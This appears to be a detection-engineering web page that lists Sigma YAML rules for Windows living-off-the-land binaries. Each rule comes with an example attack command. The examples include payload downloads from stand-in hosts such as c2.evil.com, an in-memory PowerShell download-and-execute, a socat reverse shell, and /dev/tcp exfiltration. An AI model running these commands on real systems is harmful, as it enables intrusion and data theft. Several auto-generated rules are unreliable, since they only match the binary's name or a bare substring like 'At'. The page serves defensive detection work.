Sigma RepositoryLog Targets: process_creation, sysmon, auditd521 Verified Rules

Sigma YAML v2 Standard Detection Rules

Universal Sigma YAML rule definitions conforming to the SigmaHQ v2 specification. Designed for automated compilation to Sentinel, Splunk, Elastic, QRadar, and CrowdStrike via pySigma.

Copy-paste verified syntax tested across Windows Sysmon, Security Audit 4688, and Unix auditd logs.

OS:

Tactic:

Sigma Rule Catalog

Showing 1–25 of 521 rules

Windowscertutil.exeDownload

MITRE T1105

Download an executable payload from a remote URL to the user temporary directory, bypassing browser security controls.

certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe

certutil.exe • Sigma Ruleyaml

1title: Remote File Download Via Certutil
2id: e011a79f-87ae-4f9b-98a4-0c2b09a63b01
3status: test
4description: Detects execution of certutil.exe with URL cache switches to download remote payloads
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\certutil.exe'
11        CommandLine|contains|all:
12            - 'urlcache'
13            - 'split'
14    condition: selection
15level: high

Windowscertutil.exeDefense Evasion

MITRE T1140

Decode a Base64-encoded file into a binary executable on disk to bypass perimeter inspection mechanisms.

certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe

certutil.exe • Sigma Ruleyaml

1title: Suspicious File Decoding Via Certutil
2id: 5493a388-3485-48b4-934c-68784d16d001
3status: stable
4description: Detects certutil.exe decoding files to evade antivirus inspection
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\certutil.exe'
11        CommandLine|contains:
12            - 'decode'
13    condition: selection
14level: medium

Windowsmshta.exeExecute

MITRE T1218.005

Executes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.

mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))

mshta.exe • Sigma Ruleyaml

1title: Mshta Inline Script Execution
2id: c6b4b4c2-0056-42bb-a0f2-b7e61a6b0002
3status: test
4description: Detects mshta executing inline VBScript or JScript code
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\mshta.exe'
11        CommandLine|contains:
12            - 'vbscript:'
13            - 'javascript:'
14            - 'about:'
15    condition: selection
16level: high

Windowsmshta.exeExecute

MITRE T1218.005

Fetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.

mshta.exe http://malicious.domain/payload.hta

mshta.exe • Sigma Ruleyaml

1title: Mshta Remote HTA Execution
2id: a8d59183-5099-4d6f-8086-538466b00003
3status: stable
4description: Detects mshta launching remote HTA files over HTTP/HTTPS
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\mshta.exe'
11        CommandLine|contains:
12            - 'http://'
13            - 'https://'
14    condition: selection
15level: high

Windowsrundll32.exeExecute

MITRE T1218.011

Execute remote scriptlet code via javascript protocol calling mshtml.dll RunHTMLApplication export.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")

rundll32.exe • Sigma Ruleyaml

1title: Rundll32 Protocol Handler Script Execution
2id: f45b0a68-b715-4fa8-bfb9-f018e6900004
3status: stable
4description: Detects rundll32 abusing mshtml RunHTMLApplication protocol handlers
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\rundll32.exe'
11        CommandLine|contains:
12            - 'javascript:'
13            - 'RunHTMLApplication'
14    condition: selection
15level: critical

Windowsrundll32.exeExecute

MITRE T1218.011

Execute an exported entrypoint function inside a dropped DLL located in an untrusted directory.

rundll32.exe C:\Users\Public\malware.dll,StartW

rundll32.exe • Sigma Ruleyaml

1title: Rundll32 Execution From Untrusted Directory
2id: b252c8cf-81c0-482a-bc95-0e6205800005
3status: test
4description: Detects rundll32 loading DLLs from suspicious user writable directories
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\rundll32.exe'
11        CommandLine|contains:
12            - '\Users\Public\'
13            - '\AppData\Local\Temp\'
14            - '\ProgramData\'
15    condition: selection
16level: high

Windowsbitsadmin.exeDownload

MITRE T1197

Creates a high-priority background transfer job to download a remote payload into the Windows Temp folder.

bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe

bitsadmin.exe • Sigma Ruleyaml

1title: Bitsadmin Remote Payload Download
2id: 9788f4e2-45e0-4eb6-921c-43952f400006
3status: stable
4description: Detects bitsadmin transferring files from external web addresses
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\bitsadmin.exe'
11        CommandLine|contains|all:
12            - '/transfer'
13            - 'http'
14    condition: selection
15level: high

Windowsregsvr32.exeExecute

MITRE T1218.010

Execute remote scriptlet payload from a web server via scrobj.dll, bypassing application whitelisting and registry changes.

regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll

regsvr32.exe • Sigma Ruleyaml

1title: Squiblydoo Regsvr32 Remote Scriptlet Execution
2id: c9e504c5-0a56-424a-9509-6d6c1b800007
3status: stable
4description: Detects regsvr32 downloading and running remote COM scriptlets via scrobj.dll
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\regsvr32.exe'
11        CommandLine|contains:
12            - 'scrobj.dll'
13            - '/i:http'
14    condition: selection
15level: critical

Windowspowershell.exeExecute

MITRE T1059.001

Bypasses execution policy, creates a web client, downloads a remote script directly into memory, and evaluates it with Invoke-Expression.

powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"

powershell.exe • Sigma Ruleyaml

1title: Suspicious PowerShell DownloadString Execution
2id: 3b6db462-9508-494d-9878-028c70400008
3status: stable
4description: Detects in-memory remote script downloads via PowerShell DownloadString and IEX
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: 
11            - '\powershell.exe'
12            - '\pwsh.exe'
13        CommandLine|contains:
14            - 'DownloadString'
15            - 'Net.WebClient'
16    condition: selection
17level: high

Windowspowershell.exeDefense Evasion

MITRE T1059.001

Executes a Unicode Base64-encoded command string to evade command-line pattern matching.

powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==

powershell.exe • Sigma Ruleyaml

1title: Base64 Encoded PowerShell Command
2id: f549f2b8-9b88-466d-8957-61c028a00009
3status: stable
4description: Detects execution of encoded PowerShell commands
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\powershell.exe'
11        CommandLine|contains:
12            - ' -enc '
13            - ' -EncodedCommand '
14    condition: selection
15level: medium

Windowswmic.exeExecute

MITRE T1047

Abuses WMIC process call create to launch child processes with WmiPrvSE.exe as parent, breaking normal process lineage.

wmic.exe process call create "powershell.exe -w hidden -enc ..."

wmic.exe • Sigma Ruleyaml

1title: WMIC Process Creation
2id: e4b25916-24e5-4f40-a19c-850d99500010
3status: stable
4description: Detects process spawning via WMIC process call create
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: '\wmic.exe'
11        CommandLine|contains|all:
12            - 'process'
13            - 'call'
14            - 'create'
15    condition: selection
16level: medium

Windowscscript.exeExecute

MITRE T1059.005

Runs a VBScript quietly without banner or user alerts from a temporary location.

cscript.exe //B //Nologo %TEMP%\recon.vbs

cscript.exe • Sigma Ruleyaml

1title: Script Execution From Temp Folder Via Cscript
2id: 61875c74-e5e3-4f9e-8c8e-bfbb66e00011
3status: stable
4description: Detects cscript executing scripts located in temporary directories
5logsource:
6    category: process_creation
7    product: windows
8detection:
9    selection:
10        Image|endswith: 
11            - '\cscript.exe'
12            - '\wscript.exe'
13        CommandLine|contains:
14            - '\Temp\'
15            - '\AppData\'
16    condition: selection
17level: medium

WindowsAddinUtil.exeExecute

MITRE T1218

AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.

AddinUtil.exe • Sigma Ruleyaml

1title: Suspicious AddinUtil.exe Execute Activity
2id: gen-648j05sp
3status: experimental
4description: Detects potentially malicious execution of AddinUtil.exe associated with System Binary Proxy Execution.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1218
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\AddinUtil.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'AddinUtil'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsAppInstaller.exeDownload

MITRE T1105

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

start ms-appinstaller://?source={REMOTEURL:.exe}

AppInstaller.exe • Sigma Ruleyaml

1title: Suspicious AppInstaller.exe Download Activity
2id: gen-y55lc15n
3status: experimental
4description: Detects potentially malicious execution of AppInstaller.exe associated with Ingress Tool Transfer.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1105
11    - attack.download
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\AppInstaller.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'AppInstaller'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: high

WindowsApplaunch.exeDefense Evasion

MITRE T1127.002

Launches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"

Applaunch.exe • Sigma Ruleyaml

1title: Suspicious Applaunch.exe Defense Evasion Activity
2id: gen-1ypeio66
3status: experimental
4description: Detects potentially malicious execution of Applaunch.exe associated with Technique T1127.002.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1127.002
11    - attack.defense_evasion
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Applaunch.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Applaunch'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsAspnet_Compiler.exeDefense Evasion

MITRE T1127

Execute C# code with the Build Provider and proper folder structure in place.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u

Aspnet_Compiler.exe • Sigma Ruleyaml

1title: Suspicious Aspnet_Compiler.exe Defense Evasion Activity
2id: gen-tzl93mzi
3status: experimental
4description: Detects potentially malicious execution of Aspnet_Compiler.exe associated with Technique T1127.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1127
11    - attack.defense_evasion
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Aspnet_Compiler.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Aspnet_Compiler'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsAt.exeExecute

MITRE T1053.002

Create a recurring task to execute every day at a specific time.

C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}

At.exe • Sigma Ruleyaml

1title: Suspicious At.exe Execute Activity
2id: gen-cxvhhhln
3status: experimental
4description: Detects potentially malicious execution of At.exe associated with Technique T1053.002.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1053.002
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\At.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'At'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsAtbroker.exeExecute

MITRE T1218

Start a registered Assistive Technology (AT).

ATBroker.exe /start malware

Atbroker.exe • Sigma Ruleyaml

1title: Suspicious Atbroker.exe Execute Activity
2id: gen-v0vt1pgv
3status: experimental
4description: Detects potentially malicious execution of Atbroker.exe associated with System Binary Proxy Execution.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1218
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Atbroker.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Atbroker'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsBash.exeExecute

MITRE T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

Bash.exe • Sigma Ruleyaml

1title: Suspicious Bash.exe Execute Activity
2id: gen-yaujpbk9
3status: experimental
4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1202
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Bash.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Bash'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsBash.exeExecute

MITRE T1202

Executes a reverse shell

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

Bash.exe • Sigma Ruleyaml

1title: Suspicious Bash.exe Execute Activity
2id: gen-p433ngnk
3status: experimental
4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1202
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Bash.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Bash'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsBash.exeExecute

MITRE T1202

Exfiltrate data

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

Bash.exe • Sigma Ruleyaml

1title: Suspicious Bash.exe Execute Activity
2id: gen-04oui94b
3status: experimental
4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1202
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Bash.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Bash'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsBash.exeDefense Evasion

MITRE T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

Bash.exe • Sigma Ruleyaml

1title: Suspicious Bash.exe Defense Evasion Activity
2id: gen-6zomlhf8
3status: experimental
4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1202
11    - attack.defense_evasion
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Bash.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Bash'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsBash.exeExecute

MITRE T1218

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

bash.exe

Bash.exe • Sigma Ruleyaml

1title: Suspicious Bash.exe Execute Activity
2id: gen-26avi6ff
3status: experimental
4description: Detects potentially malicious execution of Bash.exe associated with System Binary Proxy Execution.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1218
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\Bash.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'Bash'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsCertOC.exeExecute

MITRE T1218

Loads the target DLL file

certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}

CertOC.exe • Sigma Ruleyaml

1title: Suspicious CertOC.exe Execute Activity
2id: gen-uqxh32mj
3status: experimental
4description: Detects potentially malicious execution of CertOC.exe associated with System Binary Proxy Execution.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1218
11    - attack.execute
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\CertOC.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'CertOC'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: medium

WindowsCertOC.exeDownload

MITRE T1105

Downloads text formatted files

certoc.exe -GetCACAPS {REMOTEURL:.ps1}

CertOC.exe • Sigma Ruleyaml

1title: Suspicious CertOC.exe Download Activity
2id: gen-4wsu5ilw
3status: experimental
4description: Detects potentially malicious execution of CertOC.exe associated with Ingress Tool Transfer.
5references:
6    - https://www.lolpulse.dev/
7author: LOLPulse Detection Engine
8date: 2026-09-20
9tags:
10    - attack.t1105
11    - attack.download
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection_img:
17        Image|endswith:
18            - '\CertOC.exe'
19    selection_flags:
20        CommandLine|contains:
21            - 'CertOC'
22    condition: selection_img and selection_flags
23falsepositives:
24    - Legitimate administrative scripting or system utilities
25level: high

Page 1 of 21 (521 total rules)

Explore Other SIEM & EDR Detection Formats

Microsoft Defender & Sentinel (Kusto Query Language)

Kusto Query Language queries optimized for Microsoft Defender XDR Advanced Hunting and Microsoft Sentinel. Rules filter by process names, weaponized parameters, and parent process anomalies.

Splunk Enterprise Security (SPL) Query Collection

Production-ready Splunk Search Processing Language (SPL) searches targeting endpoint execution telemetry from Windows Sysmon, Security Audit 4688, and Linux auditd logs.

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers